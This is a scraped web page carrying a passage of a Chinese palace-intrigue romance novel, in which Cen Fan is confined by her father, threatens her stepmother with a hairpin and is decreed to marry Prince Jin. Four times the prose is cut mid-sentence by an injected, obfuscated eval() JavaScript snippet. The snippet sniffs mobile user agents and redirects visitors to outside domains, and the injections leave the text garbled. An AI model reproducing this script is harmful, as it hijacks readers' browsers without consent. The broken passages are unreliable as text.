乳娘替她理了理头发,轻声道:“等水烧好了,姑娘先去沐浴吧。” “乳娘……”岑璠哽咽,瞥向那空了的药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13711285|144564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗,道:“乳娘能去药铺,让郎中再去开副药吗…” 乳娘愣了一下,盯着那药碗有一会儿,反应过来岑璠说的是什么药,连忙答应,“我这就去…” * 皇宫内 元衡在那间屋子站了许久,直到床上没了半分温度才离开。 天已经大亮,可这一世,他那四妹并没有来。 元衡站在佛堂内,脸色阴沉,逐渐想明白了什么。 他大步离开,直向元斓的浮华殿而去。 身上衣裳还是凌乱,回到宫道上,渐渐能遇到几个宫人,时不时有人回头。 元衡冷冷扫上几眼,所有人便都低了头。 浮华殿地处偏僻,早些年破败不堪,还是元衡刚从军镇回来时,求旨修缮的。 浮华殿中,无人敢拦下元衡,宫女默不作声地去通传。 元斓正用花瓣泡着手,见到元衡似是有些惊讶,让贴身宫女擦了手,迎了上去,“皇兄怎么这时候来?” 元衡看着她走近,冷道:“别装了。” 元斓轻轻一笑,也未生气,让其他人都下去。 待到门关上,便收起了往日的乖巧模样,眼尾露出一些狡黠,“皇兄,我可没想装。” “我只是好奇,皇兄怎么这么快就来了。” 元衡睨了她一眼。 他的皇妹在他面前,总是一副乖巧的模样,遇到点小事都会担惊受怕的。 他上一世倒是不知,身边还有这样的人物。 很好。 元斓若无其事一般,挽住他的胳膊,像往常一样,将他往座上引,提起唇,问道:“皇兄一大清早就来质问,可是那虞氏的姑娘在枕边告状了?” 元衡停住脚,眼底冷意彻底爆发:“元斓,你别得寸进尺。” 元斓仍是一副笑脸,娓娓道来,“我也是为了皇兄好,那虞家攀上黄氏和柳氏不够,还想送个女儿巴结上胡氏,一个六品太常丞如此不安分,可不得给点教训。” “这虞氏的姑娘如果入了王府,虞家也该完了。” 元衡冷笑,“你就没想过,这件事如果皇后知道,先有事的会是你皇兄。” 元斓摇了摇头,“皇兄放心,绝无此种可能。” 她有些得意地笑道:“昨夜不也无人去打搅皇兄吗?” 元衡忽然想到了一些事。 上一世是元斓撞见的他们,他本以为是皇后在幕后操控,想借他妹妹的手揭发。 现在看来,倒像是这位皇妹自己的手笔。 可这一次,元斓没去那里,也没有将这件事闹大。 元衡打量着面前的这位皇妹,多了些不曾有过的戒备,“你究竟想做什么?” 元斓放了手,从容端坐,喝了口茶,低垂着眸,猜不透心思。 “没什么。”她笑了笑,抬头看着他,“我只是觉得皇兄也蛮喜欢这姑娘的,这样既能断了虞家和胡氏的往来,皇兄也能顺理成章纳把这姑娘收进房,岂不是两全其美。” 元衡却是从这番话中听到了些别的,没有坐下,捏紧了拳,“你在我身边安了人?” 元斓感叹,“果然什么都瞒不过皇兄。” 房内无别人,兄妹二人对视良久,不约而同露出了如出一辙的笑容。 元衡坐在她对面,不似刚才的剑拔弩张,心平气和道:“那皇妹怎么能确定,她就愿意进门呢?” 元斓看了看他的神色,脸上有所松动,一挑眉,坦然相告,“她一个外室女,如今没了用处,若是再学不会依附皇兄,怕是只有死路一条了。” 元衡眼中划过一丝凌厉,迅速藏在眼底,仍保持着笑,“皇妹说的也对,不过皇兄觉得如此称呼未免太无礼。” “毕竟她是我要明媒正娶的妻子,等大婚后,她就是你的亲嫂嫂了。” 18. 第十八章 元斓弯起的笑骤然僵住,看元衡的眼神像看傻子,“皇兄和我这个做妹妹的置气,没必要搭上自己前程吧?” “我怎么会和皇妹置气呢?就像皇妹说的,你只是顺水推舟,我还要多谢皇妹。” 元斓慌了许多,站起身,声调高高扬起,“你要娶她?” “元衡,你是不是疯了!” 他掀眼,目光慑人,收起了刚才刻意表现出的玩味,“你也说了,我看上了她,如今她成了我的人,自是要明媒正娶。” 元斓难以置信,强笑两声,“你要娶,我不答应,舅父也不会答应。” “你们答不答应,与我何干?”元衡撂下这句话,便站起身,背对着她,冷道:“对了,这段时间你的人最好不要去找她,这浮华宫,我能找人建好,也能让人毁掉。” * 岑璠沐浴时,没有一个人在旁伺候。 身上的那些痕迹,她不想让任何人看见。 她洗了许久,直到水彻底凉透还是泡在水里,最后还是乳娘在外面问了一句才出来。 因着无人服侍,她只随意拧了拧头发,半湿地贴在后背,沐浴后的雪肤更加白皙,颈上的红痕也更加明显。 她想了很久,把昨天的事都想了一遍。 那元斓是故意的,故意把她送给晋王,可也仅仅只是想让他们欢好一场而已,否则绝不会给她再送避子的汤药…… 那究竟是什么药,也不好说。 至于晋王为何会出现在那里,也只有两种可能,要么是和她一样,被元斓引了过去,要么… 他们兄妹二人是串通好的。 岑璠手紧攥起,可须臾间,便又松开了。 现在想这些没用,刚才她出宫时太冲动了,只想着逃离那冷宫,逃开他,不要被人发现,却没考虑到之后的事。 那晋王应该和五公主不同,不想叫她死。 虞家人才是她最大的麻烦,她不应该贸然离开他才对。 她要靠着他,才能活命... 岑璠坐在妆台前,乳娘给她擦着头发。 她拿起台前的梳子,有一下没一下地梳着胸前的头发。 既是回来,有个人一定会来。 事实证明,她想得不错。 不过一会儿,房门便被打开。 头发已经打理的差不多,岑璠轻轻笑了笑,放下梳子,透过铜镜看了看身上的痕迹,转过身去。 虞佑柏站在她的面前,直向她脖子看去,面色铁青,“你昨晚去哪儿了?” 岑璠并不意外,也知道此时解释是徒劳。 她学他,彻底收起了往日维持的和气,讽笑道:“那老太监是父亲派去的人,我去了哪里,父亲不应该很清楚吗?” “还是说,父亲在外面找了一个晚上,也不曾想过女儿还在宫里?” 虞佑柏顿了一瞬,却并不承认,反问道:“你父亲一个六品官,在宫里怎么寻人?况且你做出这样的事,怎么好意思让我去寻!” 岑璠冷笑一声,“怎样的事?父亲倒是说来听听?” 虞佑柏瞪大了眼睛,抬起手,一巴掌扇的毫不留情,“简直不知廉耻,就该拿白绫吊死算了!” 乳娘大惊,往前挡了挡,“受委屈的是咱们姑娘,你怎么可以打她!” 岑璠捂着脸,脸上烧得疼,嘴里含了股血腥,却反倒觉得心底踏实下来。 这才该是她父亲真正的样子。 骗她回家,装出一副情深的模样,只是因为有事要用她,一旦没有了利用的价值,什么情分啊,脸面啊,都统统一文不值了。 就连她该怎么死都想好了。 岑璠盯着他,虞佑柏心绪却是慢慢平静,没再说什么死不死的,余光看了看她刚遮起的痕迹,问道:“那个人是谁?” 岑璠放下手,淡淡答,“反正不是父亲安排的人,父亲也惹不起。” 虞佑柏嘴角抽搐,没再说什么,带着人转身离开。 岑璠闭上眼,听着外面虞佑柏吩咐了什么,就算不细听她也知道,之后她肯定是出不了门,恐怕连院子里的侍卫都要被撤走。 她的父亲约莫也要好好想想,接下来要怎么给皇后解释吧。 此事发生的突然,她才回来不到一个月,她爹会明目张胆地故技重施,真是低估了他的心狠… 还有宫里那些人…… 就像那五公主说的,这里的人都没有拿她当人看,就是那晋王,或许也只把她当成一个可收入房暖床的玩意儿。 当年母亲入宫也是这样,重伤离世,洛阳却没有人提起。 在别人眼中,甚至是她父亲眼中,一个小户商女,也就是个玩意儿,死了就死了。 最迟今夜,她必须要动作,联系上晋王,若是皇后还一切安好,反应过来,她怕是真的活不成了。 大概虞佑柏也怕她跑,仅仅一会儿功夫,院里的人便被撤得干干净净, 槿儿跟着虞佑柏回来,还不知道究竟发生了何事,便和乳娘一起被推搡进屋。 三个人被锁在一个屋,槿儿看到岑璠肿着的半边脸,一个劲抹眼泪。 过了午时,门锁响动,来了几个脸生的小厮,放下饭便走了。 槿儿找了一晚上,早已饿的前胸贴后背,连忙将饭盒提过来,放到桌上。 打开饭盒,却不禁喊道:“这是要把我们饿死在这里呀。” 岑璠扫了一眼那碎豆腐熬出来的水,没说什么。 只要她没说碰了她的是谁,她那父亲就不会现在饿死她,可也不会让她好过,必是会让她受些磋磨。 她从昨日起,除了乳娘端来的那碗避子汤,也没进食任何东西…… 岑璠拿起了筷子,“一起吃吧。” 槿儿和乳娘相对视,也一时没有办法,也跟着吃了两口。 三个人将那汤水吃的见了底,正准备收拾碗筷,却是忽然传来了敲门声。 来的人是黄氏。 除了一个贴身丫鬟,黄氏只带进来一只食盒。 岑璠看着黄氏,并不打算请她坐下。 她与这位夫人,没什么好说的。 黄氏却已经自己进了屋,将食盒放在桌上。 看到她脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13711286|144564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上红肿一片,黄氏不禁愣了,眼神回避一瞬,温声道:“我想着你从昨晚就没吃东西,不管怎样肯定也饿了,你父亲也就是在气头上,你别同他计较。” 她打开食盒,将筷子递到她面前,“我给你煮了面,快趁热吃了吧。” 岑璠静静地听她说完这席话,低眼看着她做完一连串动作,并未接筷。 在屋里的其他两人,也未有什么好脸色,谁也没说一个谢字。 黄氏一时尴尬,放下筷子,讪笑两声,道:“我能同璠儿单独谈谈吗?” 岑璠未动,“夫人有什么要说的,在这里说。” 黄氏眨了眨眼,似是不知道接下来该怎么办。 乳娘知道自家姑娘的脾气,却又觉得黄氏是真的有什么话想说,戳了戳槿儿,自觉拉着她出去。 房间内只剩了两人,黄氏鼓起勇气,轻声问道:“姑娘的小名,是叫皎皎吗?” 岑璠注视她,眼底涌现出寒芒,警告道:“这不是你能叫的名字。” 黄氏这一生,从未听过这样的重话,却也知道是自己有错在先,一时哑言。 她张着口,许久之后才重新想好自己要说的,磕磕绊绊解释,“我知道,璠儿对我多少有怨念,其实…其实这是我的错,我当年也是年少无知,任性妄为了些,你有怨是难免的,我没有别的意思…” 黄氏自顾自地说着,却越来越语无伦次,岑璠没有耐心听她在这里道歉,打断她的话,“你到底想说什么?” 黄氏止住言,肩膀也微微耷拉下来,“我是真心想好好和你相处,我会劝老爷放你出去,若你愿意,也能和珝儿一样,咱们是能成为家人的…” 岑璠笑了,看向她的眼神多了些讥讽,“家人?夫人明明知道我那位父亲做的事,反倒过来劝我放下,是鞭子不打到自己身上,不知道疼吗…” 她扫了眼那碗面,冷声道:“夫人一碗面就想得一个原谅,白捡一个女儿?” “你可知,你的一句年少无知,曾经毁掉过我的家。” “我……” 岑璠不想再听她说一个字,撇开头,“珝儿那时小,不记得什么,可我还记得清楚,这碗面你端回去,我不会吃,也不需要你救。” 黄氏哽咽,怯怯道:“我们真的不能…” 岑璠打断她,斩钉截铁,“不能。” “你真的这么恨我吗?” 岑璠不知道该说她什么好,可她厌恶面前的女人这么同无辜地同她讲话,态度便更恶劣了些,“如果夫人非要得个答案,那我便告诉你,我回来只是为了…珝儿,我不会原谅你,或许恨谈不上,但你我绝无可能成为家人。” “我只会感谢夫人一点,多谢夫人忽然出现,才没让整个岑家都被我父亲蚕食殆尽。” 一番恶语相向后,黄氏终是红了眼,她没有收起那碗面,只是提走了食盒,“你先好好休息吧…” 刚起身,却是有什么冰冷的东西抵住了喉咙。 黄氏低头,看到了一只明晃晃的银簪,尖刺正对向自己。 她吓白了脸,还没叫出声,嘴已经被捂住。 19. 第十九章 身后冰冷的声音响起,“别动。” 黄氏彻底僵住。 岑璠手越捂越紧,“我刚才说了,我不想要夫人的性命,夫人照着我说的做,我若能活命,咱们相安无事,如何?” 窒息感袭来,黄氏眼睛瞪大,连连点头。 岑璠瞥了一眼桌上的碗,手一拂,碗摔了个粉碎,“叫你的婢女进来收拾,别显得太慌。” 说罢,岑璠松开一只手,那只簪子还是抵在她的喉咙上。 黄氏低眼看着那只尖利的簪子,尽量压稳声音,“夏蝉…进来收拾。” 外面的门打开,那叫做夏蝉的婢女和乳娘槿儿一同进来,便看见了自家夫人被挟持的场景。 婢女刚准备尖叫出声,岑璠轻轻做了个噤声手势。 乳娘的反应也是快,很快捂住了婢女的嘴,槿儿赶紧关上了门。 岑璠道:“夏蝉姑娘放心,我与你家夫人的过节,还不至于杀了她。” 夏蝉显然不信,拼命摇头。 岑璠笑道:“姑娘是黄家跟过来的的婢女吧。” 她带着黄氏走近些,“姑娘一定陪了夫人许多年,你放心,我只是想活命而已,若是能成事,我保证大家相安无事,你看如何?” 夏蝉皱着眉,看了看那根簪子,似是犹豫。 岑璠道:“姑娘若是愿意,便去晋王府带句话,就说我想通了,他愿意娶,我便嫁。” 夏蝉睁大了眼睛,一旁的其他人听后也愣住。 那簪子又近了几分,岑璠语气愈发冰冷,“我劝姑娘快些去,这样我能得门好亲事,你回来后,我也好放了她。” 夏蝉眼睛转了转,似是有话要说。 岑璠叫乳娘放手。 夏蝉道:“姑娘怕是不知,院子外面有老爷的人把守,若我一个人出去,必会有人去通报。” “你就说,夫人摔倒,又不小心被汤水烫伤了手,衣衫不整,现在出不了门,也不想让其他人见到,你现在要去拿药处理。”岑璠见她不动,簪子在黄氏脖前比划了两下,“总之不论什么理由,她能不能活,就看你能不能走出门了。” 夏蝉咬了咬牙,“我去。” 乳娘放开了人,待到夏蝉出了门,岑璠便放了手。 黄氏腿都吓软了,坐在地上一句话也不敢说。 只是没等夏蝉回来,门外的守卫便撤了。 家里的管事进门,手里不知道捧了什么。 黄氏还坐在地上,岑璠就在她旁边盘腿坐着。 老管事见到屋里的场景,愣了许久。 岑璠睁开眼,“什么事?” 老管事将手里的药匣子放到桌子,还盯着两人,声音不由放小声了些,“是晋王府送来的,说是给姑娘…” 岑璠站起身,走到桌前,看了看那药匣子。 那匣子上顶上镂空,点着几颗珍珠,比起寻常人家的,算得上精美。 也只有这位晋王敢明打明来送东西了。 岑璠抚着盒子,坐下来,斜了一眼黄氏,“你可以走了。” 黄氏站起身,走的时候腿还是打颤的。 乳娘悄步走到她身边,“姑娘,这可是晋王府送来的?!” 岑璠将那盒子推远了些,并不想回应,回到床上躺下。 乳娘乐开了花,帮她打开,看见那些准备的药材,便什么都懂了,笑呵呵地去煮药了。 然而药煮回来,自家姑娘不肯喝。 乳娘坐在床边,又劝了劝,“姑娘把药喝了吧,还有那些抹的药也要用一用,身上能舒坦些,别和自己的身子过不去,晋王派人送了东西来,虞家撤了人,这不是姑娘想要的吗?” 岑璠仍没动。 乳娘摇了摇头,只能放弃让她喝药。 自家姑娘就是这样,死倔,再怎么说都没用。 * 翌日的洛阳下起了大雨,雨水砸的地面噼里啪啦响。 晋王府派人上门虞家的事阵仗并不小,虞家想瞒着也瞒不住。 只有皇宫内出乎意料的安静。 皇后正用蔻丹染着指甲,手下的白脸奴才正在禀报,可即使是晋王府派人去虞家的消息传到了耳朵里,也没说什么,只多看了一眼桌上的画匣。 虞家那个太常丞是个心狠的,想把自己的女儿送给皇帝这个糟老头子。 当年她对那姑娘的生母有亏欠,本想着弥补一二,先成了事,再帮那姑娘进胡氏,也不算太委屈。 现在看起来,那姑娘并不领情。 不过她也做不了什么,毕竟她前一晚前脚刚在宫门口收到那老太监带血的帽子,后脚被打晕的侄子就被抬回来了。 那老太监的人,到现在都没找到。 她还敢做什么? 晋王现在要干什么她算是管不着,发生了什么她也想不知道。 她巴不得那位真的上了心,虞家姑娘能以一个清白的好名声进王府,这件事也能就这么揭过去。 这才是最皆大欢喜。 白脸小奴才弓着腰,瞅了两眼皇后,斟酌着说道:“奴才叫人去找了找,就在废后的宫里,没人收拾过…” “腰带都落在那儿了呢……” 没人收拾,这种东西都留在宫里,可不就是给她这个皇后看的吗? 想让她搬起石头砸自己的脚,挖好坑让她往里面跳,她又不傻。 白脸太监看了看皇后的脸色,道:“娘娘,这可是一次机会…” 皇后冷笑,斜睨了他一眼,看着自己染好的指甲,让白脸太监再展开桌上那幅画。 “多好一幅画啊。”皇后感慨,看了看画上鲜艳的杜鹃,冷笑一声,“你喜欢花吗?” 白脸太监抬头看了一眼,结巴道:“喜欢的…” “那你替本宫看看,这朵花和别的花有什么不一样?” 白脸太监走过去,眼神飘忽,一时想不到什么措辞。 皇后笑了笑,“光看哪能看出名堂,这花要多闻闻,多摸摸才能觉出名堂。” 白脸太监忽然想到什么,连忙跪下请罪。 皇后声音骤冷,“这幅画赏你了,滚吧。” * 岑璠始终心有余悸,左盼右盼,只盼宫里那边能传来什么消息。 可过了一夜,什么消息都没有。 宫里的人并不好糊弄。 若是她早些时候碰到五公主那样的人,或许她不会莽撞到在宴会上动手,可如今说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13711287|144564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没用。 皇后没事,定是知道了她想做什么,那么她将来的处境只会更加艰难。 这还不是最要紧的。 不管晋王之前是否和五公主合谋算计她,现在派人来,定也是打算认下那事了。 门外被乌云遮得暗沉,岑璠午后便一直坐在屋内。 雨停时已是傍晚时分,密云散开,如一条彩锦,映红满天,窗外还透着几分未散的寒气。 紫芯从窗外走过,很快推开门,说让她戴了面纱去追安堂见客,却没说是谁。 追安堂是院子的正堂,一般是用来接待贵宾,离岑璠所住的院子很远。 一路上,岑璠没有问是谁,手心一直攥着。 堂中的人并不是他,可也大差不差。 杨知聿正同虞佑柏说着什么,她那父亲在笑,可那强装的笑容明眼人都能看出来。 岑璠来后,杨知聿便停了话,转头看向她的脸,嘴角似是微微压了些,“余下的事,我同岑姑娘说便是。” 虞佑柏最后那点笑容也平了,“这……” 杨知聿一笑,话也说得直白,“该说的都已经同虞大人说了,剩下的事我想单独同姑娘谈谈。” 话说到这个份上,虞佑柏也不好再留,皇后看样子是不打算再管此事,他就算拼上家底,也不敢和军镇掰手腕。 虞佑柏嘴抿了抿,无奈之下,带着其他人出了房门。 杨知聿手一抬,“岑姑娘坐吧。” 这番做派,就像自己家一样。 岑璠皱了眉,在正堂靠近屏风的另一边坐下,隔得远远的。 杨知聿并未对她的防备有所介怀,从容道:“想必岑姑娘也能猜到,我是为何而来。 “其实本来也没想骗你,我此次来,是为了来说姑娘的亲事。” 岑璠眼神落了过来,一眨不眨,像是在刺人。 杨知聿笑了笑,“并非是在下想娶。” 他微张嘴,撇开些视线,吸了一口气,似是自己下了很大的决心才说出口,“晋王大婚,我会作为册封使来虞家宣读圣旨。” “晋王…大婚…” “是啊。”杨知聿挂着温笑,道:“也就这两日的事了,提前恭喜姑娘了。” 岑璠有些无措。 她本想着,晋王再怎么样也不会给她正妃的位置,到时候他厌烦了,她走也能走个爽快利索。 圣旨册封,那岂不是正妃? 他竟然是认真的? 正当语塞间,杨知聿却又转了态度,“这封圣旨,是晋王今天亲自去宫里求的。” 岑璠更是不解,“陛下愿意?” 她虽是听闻皇帝和二皇子不和,可到底是皇家的脸面,怎会允许她做正妃? 他晋王如何能做到? 杨知聿没有回答,眼睛似是闪避了一瞬。 岑璠微微皱眉,等着他回答。 杨知聿只说,“或许这对父子的关系比你想的还要恶劣,就算是个乡野村妇,皇帝也会让他娶吧。” 他回答后,紧接着道:“晋王的背后虽有边镇势力,可争夺皇位并非易事,岑姑娘若是嫁过去,将来势必会卷入皇权斗争。” “你想好了吗?” 20. 第二十章 岑璠知道,面前的男人和晋王关系匪浅,未答是否。 这里的人,她都不该完全相信。 杨知聿多少猜出了她的心思,心里不怎么高兴,却很欣慰。 她不轻信于人,总是好的。 “岑姑娘若是真的不想嫁,我其实可以帮你。” “将军多虑了,王妃之位,民女怎会不想要。” 杨知聿站起身,慢悠悠走到她身边,近看了几眼,便知她心里也在摇摆,“姑娘可知道,为何我今日提前来了虞家?” 岑璠眼神动了动。 杨知聿微微侧头,余光看向窗外,低声道:“这晋王妃,可不是人人都想让姑娘当。他的身边也不是所有人都想让姑娘当上王妃。” 他盯着她脸上的面纱,声音冷了些,“姑娘的父亲,打心底里也不想和晋王扯上关系,所以.....” 岑璠接了他的话,“有人想在圣旨来前,诱我父亲做些什么。” 杨知聿点了点头,“没错。” 岑璠背后一凉,下意识问道:“那是谁让将军来的?” “姑娘只需知道,这个人姑娘无论如何也惹不起,不仅如此,将来还有更多人会找姑娘麻烦。” 岑璠下意识想到的,只有元斓鬼魅似的笑容。 当朝公主,元衡的亲妹妹,她惹不起,也算计不过。 她不会每一次都这样幸运。 她有些动摇,又抬头看向杨知聿。 面前的人并未表露出丝毫恶意,一双明眸坦坦荡荡,眼尾还留有笑意。 岑璠猜不透,“将军究竟想做什么?” 杨知聿道:“我只是想问问姑娘的意思,如果姑娘愿意嫁,我能保证这几日虞家不会做什么,如果姑娘不愿,我也可以试试帮姑娘避过这阵风头。” 岑璠显然还是不信,杨知聿也知道,这样的说法很难让一个心存防备的人信服。 他盯着岑璠的眼睛,“姑娘可要想好,若是进了王府,今后还会有很多这样的麻烦,姑娘当真都能应付得来?” 岑璠心底一阵恶寒,劫后余生的心情荡然无存。 跟他逃了,她也许不必面对这些暗害,可跟着晋王,也有好处。 她可以助她报仇,这一点,逃是无法做到的。 只是岑璠没想到,面前的人会像她的腹虫一般。 “姑娘要想报仇,我也可以帮姑娘。” 岑璠心中讶异,问的却冷硬,“你怎么会知道我要报仇?” 杨知聿轻轻一笑,“当年令母之事略有耳闻,能猜到。” 岑璠对此半信半疑。 若真是猜到的,想必也不是什么好应付的人。 “你…为何要同我说这些?”她又问。 话一出口,岑璠才记起来,自己好像曾经问过他这个问题。 他当时并未回答。 清眸盯住他,似是一定要得到一个答案。 杨知聿这次也并未再打马虎眼,“我记得曾经说过,同姑娘投缘。” “姑娘想要报仇,并不需要嫁给谁,也不该为了报仇,把自己的命卖到别人手里。” 岑璠眼神收回些凌厉,半晌没有说话。 杨知聿知道,她在动摇,不过他也没有非要一个答案。 不急于一时。 “姑娘可以再好好想想,三日之后,我在西城门前等着姑娘,城门闭前,姑娘什么都不必带,人来便可。” * 岑璠走回院内时,心里仍是纷乱如麻。 事情好像在朝着她无法控制的方向走。 杨知聿说要带她出去,而那晋王要娶她做正妃…… 这些人分明位高权重,为何要同她扯上关系? 这世上可不该有天上掉馅饼的事。 可那册封的旨意,也比她想的要快一些。 她以为杨知聿给她三天的期限,这圣旨怎么样也会在三日后下,可没想到第二日就来了。 皇家册封,本该礼官仪仗一应俱全,可这次只是派了晋王身边的亲信领着几个宫人。 可就算如此,还是一路封街开道,排场对于虞家来说也不小。 虞家所在之处,并非权贵所在,没有多少人见过圣旨,更没有多少人见过皇宫里的宫人。 不同前几次见时穿的那般随性,那杨知聿换上了正经的礼袍,星眸剑眉,倒也是年轻有为,人中俊杰。 堂外下人们跪于两旁,虞家一家人在正堂内听旨。 满堂五人,除了珝儿,其他人脸上都没有人什么笑容。 岑璠脸上的红肿还未消,圣旨念着喜结连理,说来还有些讽刺。 黄珍晕晕乎乎听完圣旨,脑子里回了个弯,这才反应过来那圣旨是为何意? 这陛下要将那私生女册封为二皇子妃? 又或者说,是那晋王要娶她那上不了台面的姐姐? 她前两日倒也听说晋王府派人来过的事,可具体是什么事,家里的人都没敢提,身边的嬷嬷也劝她别问。 这瞒来瞒去,这外室女就要嫁进王府了? 当年他们黄家还兴盛之时,她三姐才勉勉强强嫁进柳家大房做了个续弦,他们虞家何时能攀上王府? 那晋王怕不是眼拙,脑子不好使。 岑璠接了旨,观察周围人的神色, 虞佑柏没空搭理她,正忙着接待宫中来的册封使。 目光移向另一处,恰好对上杨知聿的目光,他官袍加身,说不出的沉稳。 他微微颔首,是在对她说,昨日答应她的依旧做数。 岑璠错开目光,并未立刻回应。 黄氏走到她身旁,嘴边虽弯着笑,声音却小的离奇,“这圣旨,不若我帮你收起来吧…到时候我给你置办些嫁妆,和你的嫁妆一并带入王府。” 岑璠回过神,侧头看了她一眼,冷道:“不用。” 黄氏闭了嘴。 送走册封使后,岑璠便回了院子。 珝儿跟着她一起回去,眼睛一直盯着那道明晃晃的圣旨,走路一蹦一跳的,时不时傻笑两声。 到了院子,珝儿推开门,让自家姐姐先进去,招呼槿儿摆上自己送来的茶盏,再煮了茶来。 他抻着头,好奇道:“阿姊,能不能让我也看看圣旨长什么样啊?” 岑璠不免笑了,“珝儿不是连皇帝都见过了,还稀罕这圣旨?” “那不一样。”珝儿手指轻弹了一下茶盏,“咱们家什么样阿姊也知道,上次宫宴也只能远远瞧见陛下。” 他眨了眨眼,满是骄傲,“更何况这是阿姊册封的圣旨。” 岑璠愣了一瞬,再看向摆在桌上的那卷圣旨,便是多了些其他的情绪。 她将那卷圣旨递给珝儿,珝儿双手捧过圣旨,像是捧着什么易碎的宝贝似得。 “珝儿很想让阿姊当王妃吗?”她问。 珝儿仔细看着那道圣旨,倒是没怎么注意自家阿姊的表情,摸了摸那蜡笺,还有皇帝亲章,压不住嘴角,“阿姊说什么呢,这可是王妃之位啊,还是手握重兵的二殿下,我怎么可能不想让阿姐当二皇子妃啊。” “可珝儿有没有想过,这般好事如何就能落到阿姊头上?” 珝儿仍握着那道圣旨,微微皱眉,“哎呦阿姊,你别乱担心了,二殿下不是救过阿姊,阿姊容貌这般不俗,说不准是殿下一见倾心。” 岑璠便也不再说话了。 她嫁入王府,将来珝儿要入仕确实是不用愁。 如果两边她都信不过,那眼下她进王府或许是更好的选择。 * 圣旨入虞家时有不少人围观。 寻常人家的女儿别说被亲王看上,能进四姓世家的门,都恨不得在门前挂满炮仗,让全京城的人都知道。 当年黄瑜进柳家大门的时候,虞佑柏也是点了鞭炮,认真去佛寺祭拜过,可如今大女儿嫁入王府倒是什么动静也没有。 不过门外的人也清楚,这虞家老爷素来对胡氏唯命是从,乃是皇后一党,如今女儿嫁入王府,还要做王妃,里外不是人,可不得收敛着。 闲谈之余,更多人谈论的还是这虞家的外室女。 那晋王向来不近人情,这虞家老爷一个六品官,也就是吟诗作赋的本事好了些。 也不知道这外室生的女儿是试了什么手段,把晋王勾得魂都没了,放着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13711288|144564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑家才女不要,宁肯与皇帝翻脸,也要娶过门当正妃。 郑家家主也想不通,可更多的是气愤,那块儿玉佩他已是给了晋王府,前些日子还单独见了他的女儿,如今却说娶虞家的女儿,置他的面子于何地! 想到自家女儿,郑峋一阵叹息,连带着把崔氏又骂了一遍,去了郑伊湄的院子。 郑峋来时走得急,到了郑伊湄的院子,听到水榭的琴声,便径直走过去,看见自家女儿还在水榭中抚琴,胸口直起伏。 郑伊湄能看出父亲在生气,却不知道他为何生气,停下了拨弦的手指,压在琴弦上止住余音,等着自家父亲开口。 “晋王要娶妃,你现在可满意了?” 郑伊湄知道晋王不会娶她,并不感到意外。 可这晋王要娶妃着实有点突然,她先前倒从未听过什么消息。 郑峋见她不悲不喜,便气不打一出来,“虞家一个外室女都能将晋王妃抢到手,你什么时候能懂点事?” 父亲口中的虞家外室女,那不是皎皎…… 皎皎她…要嫁给晋王? 郑伊湄站起身,却是问道:“皎…那姑娘是自己愿意,还是晋王他自己执意要娶?” 郑峋简直就要气笑了,旁的姑娘若是丢了这样一桩亲事,保不齐要哭闹一场。 她倒是好,反倒先关心起那外室女来了。 “那你觉得呢?”郑峋指了指那把琴,手臂都是抖的,“从小到大,我把你教的琴棋书画样样精通,到头来比不上一个外室女爬床的手段,放着好好的王妃之位偏不要,非要嫁那崔家最没用的儿子……” “父亲!”郑伊湄听不得这些话,喝住他,“您有什么气冲我来就好,何必牵扯不相干的人?” 郑峋抬起手,却怎么也下不去手,到最后反倒憋的满脸通红。 郑伊湄想要扶他,郑峋闭着眼,隔开她的手,不让她扶。 许久之后,郑峋才摇了摇头,声音多了几分沧桑,“罢了,那册封诏书已经到了虞家,这些日子外头风言风语,少不得上咱们家门说你风凉话的。” “我已经和别院的人打好招呼,你去城外住上几日吧。” * 门外熙熙攘攘,虞家却依旧冷清,丝毫没有动静。 只不过有了那道圣旨,紫芯说话的声音倒是小了不少。 看岑璠的眼神却越发怪异,似是含着情绪又不敢说什么。 而槿儿和乳娘话也少了些。 岑璠多少能感觉到周围人的变化,也知道无非是因为外面传出些不好听的话。 乳娘她们知道她不愿听,便故意避开什么都不说。 